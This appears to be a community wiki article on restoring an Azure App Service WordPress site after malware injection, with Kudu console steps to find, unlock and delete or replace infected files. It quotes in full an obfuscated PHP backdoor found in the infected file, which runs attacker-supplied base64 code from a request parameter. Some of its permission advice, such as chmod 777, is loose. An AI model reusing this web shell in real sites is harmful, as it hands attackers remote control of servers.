Azure: How to fix a wordpress App Service infected with malware code injection

MVP

Introduction


In this article we are going to review how to restore our web application running on Azure in case we have a possible code injection in Wordpress (PaaS)

Problem:



We have an interruption in the service of our web application (PaaS) due to a malware/cross-scripting/code injection

Solution. How to fix cross-scripting and code injection



Initially the most feasible and advisable is to have a WAF / APP Gateway and our WebApp within a Virtual Network. That said, here are some steps to be able to have one of many ways to solve the possible consequence of having the web application with this incidence.

In order to be able to solve the interruption of service first for this specific case we are going to go to the kudu console of the application for which you can access:

"Your-website-name.scm.wikiazurewebsites.net"


We will access a screen like the one shown below:



Once we access it we will go to Debug Console -> CMD:




 Now that we are in the console we are going to look for an index file in which to be able to visualize the directories of our application:



Although wordpress  web app directories are within WWWRoot, the XSS vulnerability affects all Azure web application directories including "SiteExtensions", so it is highly recommended that you review all directories in detail.

Recommendation: Check the directories first:

  • / wwwroot / site /
  •  / wp-content /
  • / wp-content / plugins /
  • / wp-includes /



The malicious code is usually detected immediately in the index.php files of the application or with the .suspected extension. Also you might see that some new folders were created randomly. For example the folder pridmag wasn´t part of the application: 



Once we go to analyze the file, we will see this malicious code:






Example of malicious code: 

$qPdntpyq4160 = "o9)d.tfj03/1vgzmubk2er(5x7w_84a*np;yl6schiq";
 
 
$lsfpcQSs2632 = "";
 
foreach([38,0,21,5] as $j){
       $lsfpcQSs2632 .= $qPdntpyq4160[$j];
    }
 
 
if(isset($REQUEST /*pDsiayAqJlLkUzqpLBhEOdDBhpwfwWcNLloyGTzLkezyeFGjrGNRDUmTSFTqQzcDBNEHFgRafRGGIEqWrFNXMEofXOLuEVwoLinKXoCjuxhHFxuDKwfWoiJkvSVsLkjR*/["$lsfpcQSs2632"])){
    $owqHJoHl5389 = $_REQUEST /*pDsiayAqJlLkUzqpLBhEOdDBhpwfwWcNLloyGTzLkezyeFGjrGNRDUmTSFTqQzcDBNEHFgRafRGGIEqWrFNXMEofXOLuEVwoLinKXoCjuxhHFxuDKwfWoiJkvSVsLkjR*/["$lsfpcQSs2632"];
    $JYzXAdsa7417 = "";
    $kLAwcVVk3573 = "";
 
    /*SPkGyjnOAjltqokEMwPjggdrqqGOHxDNYCzXGbyFxUgvQFAGBgoWYVyEXXKnRLdlxihhiNdoPztrKPkBKIgEjDmKYyhGuSWDqHkldsbRzXagXTnqnfseOfuKsTYSrSjO*/
 
    foreach([17,30,38,20,37,29,27,3,20,39,0,3,20] as $j){
       $JYzXAdsa7417 .= $qPdntpyq4160[$j];
    }
 
    /*CaFjsRsoDobPDQJYjvXzNBVEghiYHMPTinuaajdEbzvsDGzzzEWMfQQropMXrzPRhtDKcviOSDiOXqJUiHpUQYfXPqJQvgiJAtfoxAGRdBpdKUmjkDbUVaMxJlaCSGVu*/
 
 
    foreach([38,5,21,21,20,12] as $j){
       $kLAwcVVk3573 .= $qPdntpyq4160[$j];
    }
 
    /*nmbMmzyOHtQmRrirHtgPuWOQXZLhIabZsYqdurJEFeKorIytwcFCmLjdFHOHSoBxSEZnWdnoWIYklSioFFxkytXkGimZvuuPLebrRImRHgFayVlcibJKdVfkaCclsvHb*/
 
    $j = $kLAwcVVk3573('n'.'o'.''.''.''.''.'i'.'t'.'c'.'n'.''.''.''.''.'u'.''.''.''.''.'f'.''.''.''.''.'_'.'e'.''.''.''.'t'.''.''.'a'.''.''.'e'.''.''.'r'.''.'c');
    $c = $j("", $JYzXAdsa7417($owqHJoHl5389));
    $c();
    exit();
 
}





In most cases these types of files are not editable.

If trying to delete / modify the file you get the following error below:




**we added a ".p" at the end of the malicious file - the original malicious file name was db.php.suspected

We will perform the following steps to be able to delete the file or restore the original:

Option 1. Delete files



1. In the KUDU console, we will go to the directory where the file is located
2. We will verify the read / write attributes of the file with the command below

 "attrib db.php.suspected.p"

** Note: Please see below a list of the parameters attributes for the files.

Parameters

  • + r: Sets the read-only file attribute.
  • -r: Clears the read-only file attribute.
  • + a: Sets the archive file attribute.
  • -a: Clears the archive file attribute.
  • + s: Sets the system file attribute.
  • -s: Clears the system file attribute.
  • + h: Sets the hidden file attribute.
  • -h: Clears the hidden file attribute



In this case we will use attrib -r db.php.suspected.p



Once we have done this step we can delete the malicious file. We are going to click back on the browser and click on the icon as shown below:





Option 2. Modify files



 1. If the above option1 does not work, we will execute the CHMOD command to change the write permissions of this specific file:
 CHMOD 777 db.php.suspected.p

** Note could be CHMOD 644 depending on the level of appropriate permissions:

Files / Folders Permissions

  • wp-content (755)
  • wp-includes (644)
  • All .php files (644)
  • All folders (755)
  • wp-config.php (public_html folder) (444)
  • index.php (public_html folder) (444)



After that we would be able to delete the file

** Note: if it is still not possible to delete the file:

1. Stop the application
2. Change the read / write permissions by executing CHMOD 777 file.php
2. Ddelete or modify the file.


Option 3. Restore Files



Connect to the application via SFTP and replace the file. You must first change the file's write permissions. You could also try to deploy from a .Zip file using Kudu console or the Storage Explorer. 

Usually the malware starts in an index.php and is expanded by other directories so you have to inspect all the directories and delete the malicious files or restore them.


Alternative suggestions



  • Use the security plugins such as Sucuri Security or All In One WP Security & Firewall that secures, hardens and regularly scans your website.
  • Deploy your webapp within a Vnet 
  • Enable WAF  and try to automate rule updates whenever possible
  • Best Practices For WordPress Security On Azure



Other Languages



es-MX: Azure: Cómo restaurar un AppService wordpress con malware(es-MX)

0 Replies